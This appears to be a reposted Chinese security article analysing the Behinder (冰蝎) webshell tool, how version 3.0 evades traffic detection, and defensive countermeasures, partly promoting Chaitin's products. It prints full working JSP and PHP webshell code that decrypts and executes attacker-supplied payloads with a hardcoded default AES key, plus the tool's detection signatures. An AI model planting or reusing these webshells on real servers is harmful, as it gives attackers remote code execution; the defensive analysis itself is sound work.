本文原载于公众号:长亭安全课堂
在今年**开始前,冰蝎突然进行了3.0版本的发布,新版本修改了很多旧版本的流量特征,导致大量的WAF ,HIDS,Webshell检测工具无效。
本文将详细揭秘秘冰蝎的前世今生,以及对于冰蝎相关攻击的检测思路和3.0新版本下的防护思想。
冰蝎的前世
在冰蝎这个工具出现以前,中国菜刀一直是国内的白帽子,黑帽子,各种帽子常用的Webshell管理工具。而冰蝎出现以后,很快就被大量攻击者所接受,取代了菜刀的一部分。
概述于菜刀,冰蝎具有以下一些优点:
Java开发,支持跨平台运行
使用加密隧道传输数据,尽量避免流量被WAF或IDS设备所捕获
更新更多最大化,作者会听取社区的意见修改工具
在冰蝎逐渐流行以后,国内各大安全厂商也开始了行动,使用各种方法检测冰蝎的Webshell和流量,可谓八仙过海各显神通。
以下是常见的基于流量的检测方法:
一,通过字符串共识的过程中的一些特征来检测
在这个共识过程中,防护设备可以结合URL,请求包和返回包的内容以及标题信息来综合进行判断,这种类型检测的优势是这部分的流程是冰蝎内置的实现,攻击者不太可能好进行修改绕过。而劣势是在大流量的环境下很容易引起大量的误报。
二,通过Shell交互过程中的HTTP请求特征来检测
冰蝎在发送HTTP请求时存在一些特征,例如其工具中内置了17个User-Agent头,在用户没有自定义的情况下会随机选择一个发送。但是这些User-Agent头大部分是一些老版本的浏览器或设备。
这个类型检测的优势是检测方式比较简单,但是在大流量的环境下很容易引起误报,一般使用多个特征相结合的方法来改善误报的情况,并且这部分的特征通常是一些弱特征,攻击者可以通过定制请求头,使用代理等方式修改冰蝎的请求包很容易的来绕过这类的检测。
三,通过Webshell上传时的流量特征来检测
在真实的攻击场景下,攻击者通常是通过文件上传、文件写入等方式来写入冰蝎的Webshell,所以流量设备也可以通过检测攻击场景的数据包来发现冰蝎的存在。
这部分的流量形式主要取决于Web应用,是攻击者不好控制的,而且通常都是以明文形式进行传输,所以比较易于检测。
但是这种检测方式在遇到非文件上传等漏洞时,有可能无法捕捉到Webshell的特征。
四、通过利用rasp机制来进行检测
冰蝎的java实现是利用defineClass来动态加载字节码进行执行,利用rasp的机制可以通过执行堆栈的信息来捕捉到冰蝎的最终利用,这种方式的检测优势在于不会产生误报,但是其会产生漏报,例如一些厂商通过堆栈中的恶意包名来检测,这时候只需要更换包名就可以绕过检测,并且由于rasp侵入强的特点,比较容易干扰到线上的应用。
冰蝎的今生
冰蝎赶在2020年**前发布了3.0版本,这个版本的冰蝎改动较大,一举绕过国内大量Webshell检测引擎和流量检测引擎。按照官方的说法,这次主要的改动是:
去除动态密钥协商机制,采用预共享密钥,全程无明文交互,密钥格式为md5(“admin”)[0:16]
增加了插件机制,可开发安装自定义扩展插件
UI框架由awt改为javafx,重写了大量逻辑
增强了内网穿透功能,在原有的基于HTTP的socks5隧道基础上,增加了单端口转发功能,可一键将内网端口映射至VPS或者本机端口
从防守方的角度看,这些改动中对防御设备影响最大的是第1点,也就是说,3.0版本的冰蝎不在有密钥协商的过程,从原理上直接绕过了大量流量检测设备(大部分设备是通过握手的行为来检测冰蝎的流量)。
另外,虽然新版默认移除了老版本密钥协商的逻辑,但是如果用户仍然使用了老版本的Webshell,也是可以连接的。
我们来对比一下新老版本中JSP客户端(Webshell)的区别。
老版本JSP Webshell(格式化后):
<%@pageimport="java.util.*,javax.crypto.*,javax.crypto.spec.*"%> <%! classU extendsClassLoader{ U(ClassLoaderc) { super(c); } publicClassg(byte[]b) { returnsuper.defineClass(b,0,b.length); } } %><% if(request.getParameter("pass")!= null){ Stringk = (""+ UUID.randomUUID()).replace("-","").substring(16); session.putValue("u",k); out.print(k); return; } Cipherc = Cipher.getInstance("AES"); c.init(2,newSecretKeySpec((session.getValue("u")+ "").getBytes(),"AES")); newU(this.getClass().getClassLoader()).g(c.doFinal(newsun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); %>
新版本JSP Webshell(格式化后):
AAAAA <%@pageimport="java.util.*,javax.crypto.*,javax.crypto.spec.*"%> <%! classU extendsClassLoader{ U(ClassLoaderc) { super(c); } publicClassg(byte[]b) { returnsuper.defineClass(b,0,b.length); } } %><% if(request.getMethod().equals("POST")){ Stringk = "e45e329feb5d925b"; session.putValue("u",k); Cipherc = Cipher.getInstance("AES"); c.init(2,newSecretKeySpec(k.getBytes(),"AES")); newU(this.getClass().getClassLoader()).g(c.doFinal(newsun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); } %>bbbb
对比两个文件可以看出
新版Webshell在代码外增加了AAAAA、bbbb两个输出,但实际上删除或修改这两个特征对冰蝎的正常连接与使用没有影响
新版去除了握手的过程,直接将一个写死在Webshell中的字符串作为AES密钥解密流量包
实际执行代码的逻辑并没有修改,均采用defineClass的方式执行Java字节码
再来对比一下新老版本中PHP客户端(Webshell)的区别。
老版本PHP Webshell:
<?php @error_reporting(0); session_start(); if(isset($_GET['pass'])) { $key=substr(md5(uniqid(rand())),16); $_SESSION['k']=$key; print$key; } else { $key=$_SESSION['k']; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++){ $post[$i]= $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post,"AES128",$key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; classC{publicfunction__construct($p){eval($p."");}} @newC($params); } ?>
新版本PHPWebshell:
<?php @error_reporting(0); session_start(); if($_SERVER['REQUEST_METHOD']=== 'POST') { $key="e45e329feb5d925b"; $_SESSION['k']=$key; $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++){ $post[$i]= $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post,"AES128",$key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; classC{publicfunction__invoke($p){eval($p."");}} @call_user_func(newC(),$params); } ?>
和JSP版本Webshell类似,PHP版本做了如下修改:
新版去除了握手的过程,直接将一个写死在Webshell中的字符串作为AES密钥解密流量包
新版将eval过程放在了魔术方法__invoke中,而老版在构造函数__construct里,部分Webshell检测引擎可能因此会被绕过
在实际连接时进行抓包,也可以看出二者的差别:
老版本的第一个数据包是一个GET请求,而新版本的第一个数据包即为加密流量了。
如何应对
真实场景下的攻防总是相对的,正所谓魔高一尺道高一丈,特殊时期,对于这个“对手”,防守方如何应对呢?
前文提到,在网上公开的文章中,关于如何检测冰蝎的流量,大家关注的重点都是冰蝎的密钥协商过程,因为在整个通信的过程中,这部分是明文的,并且特征比较多。但是因为这次更新去除了握手的过程,导致大量流量检测设备无法再探测冰蝎的流量。
除了可选去掉了密钥协商过程来对抗检测,冰蝎也修复了一些容易被流量检测出来的小问题:
比如红蓝对抗——加密Webshell“冰蝎” 流量 100%识别这篇文章中提到过,老版冰蝎发送请求时Cookie头的特征问题在新的版本中也已经被修复了:
if(headerName.equalsIgnoreCase("Set-Cookie")){ for(StringcookieValue : headers.get(headerName)){ cookieValue =cookieValue.replaceAll(";[\\s]*path=[\\s\\S]*;?",""); cookieValues = cookieValues + ";"+ cookieValue; } cookieValues = cookieValues.startsWith(";")? cookieValues.replaceFirst(";",""): cookieValues; break; }
在以往的对抗中,长亭科技的雷池(SafeLine)下一代Web应用防火墙”和牧云(CloudWalker)主机安全平台均采用不基于规则的方式检测冰蝎相关的攻击,不存在产品现有规则不能涵盖新版冰蝎WebShell的问题,因此这次冰蝎的更新对于雷池(SafeLine)和牧云(CloudWalker)的检测能力没有影响。
对于文件上传漏洞,雷池(SafeLine)针对攻击者上传过程文件进行分析,通过识别常见服务端脚本语言的语法特性,判断上传文件是否为WebShell,继而针对攻击者访问行为进行分析,判断其访问的文件名称和参数是否具备调用WebShell特征,进而告警和阻断。因此不管攻击者上传新版或老版冰蝎的Webshell,雷池(SafeLine)无需增加规则或者升级,均可以正常检测和拦截,检测结果如下图所示:
牧云(CloudWalker)利用机器学习、语义分析等多种技术综合实现WebShell在主机服务器上的检测,能够自动监控关键路径,支持包含JSP、JSPX、PHP、ASPX、ASP在内的五种主流Web脚本格式,检测结果如下图所示:
对于新版的冰蝎来说,由于握手包去除,进一步地降低了攻击者的特征。对于甲方来说,之后检测的重点可能需要转移到下面几个地方:
流量端对于文件上传、文件写入等漏洞的检测
服务器端对于兼容冰蝎的Webshell的检测
对于攻击者拿到Webshell以后的操作进行检测,如反弹shell、高危命令执行等
新版冰蝎虽然大幅减少了流量中的特征,但仍然存在一些特征可以被探测:
内置的17个User-Agent头
JSP Webshell返回包首尾的AAAAA和bbbb
连接的几个数据包中存在固定大小的数据包
这些特征虽然无法准确判断出流量的类型,但这些小特征组合出来的新特征,也许能给检测端提供一些帮助。
总结一下,对于检测者来说,做好这几点比较重要:
增强检测文件上传、写入漏洞的能力
增强Webshell检测能力,对冰蝎Webshell及其变种进行针对性处理
做好文件监控,对于发生变化的可疑文件及时进行记录报警,方便之后的攻击的回溯
做好反弹Shell、命令执行等敏感行为的检测
关注异常流量,出现问题能够及时解决
最后,附上一份冰蝎内置的17个User-Agent列表:
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50", "Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.9.168 Version/11.50", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; Tablet PC 2.0; .NET4.0E)", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", "Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)", "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like
Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)", “ Mozilla / 5.0(Windows NT 6.1)AppleWebKit / 535.1(KHTML,例如Gecko)Chrome / 13.0.782.41 Safari / 535.1 QQBrowser / 6.9.11079.201”, “ Mozilla / 4.0(兼容; MSIE 7.0; Windows NT 6.1; WOW64; Trident / 5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath。 3; .NET4.0C; .NET4.0E)QQBrowser / 6.9.11079.201“, “ Mozilla / 5.0(兼容; MSIE 9.0; Windows NT 6.1; WOW64; Trident / 5.0)”
来源:freebuf.com 2020-08-18 13:15:49 by: alexo0
请登录后发表评论
注册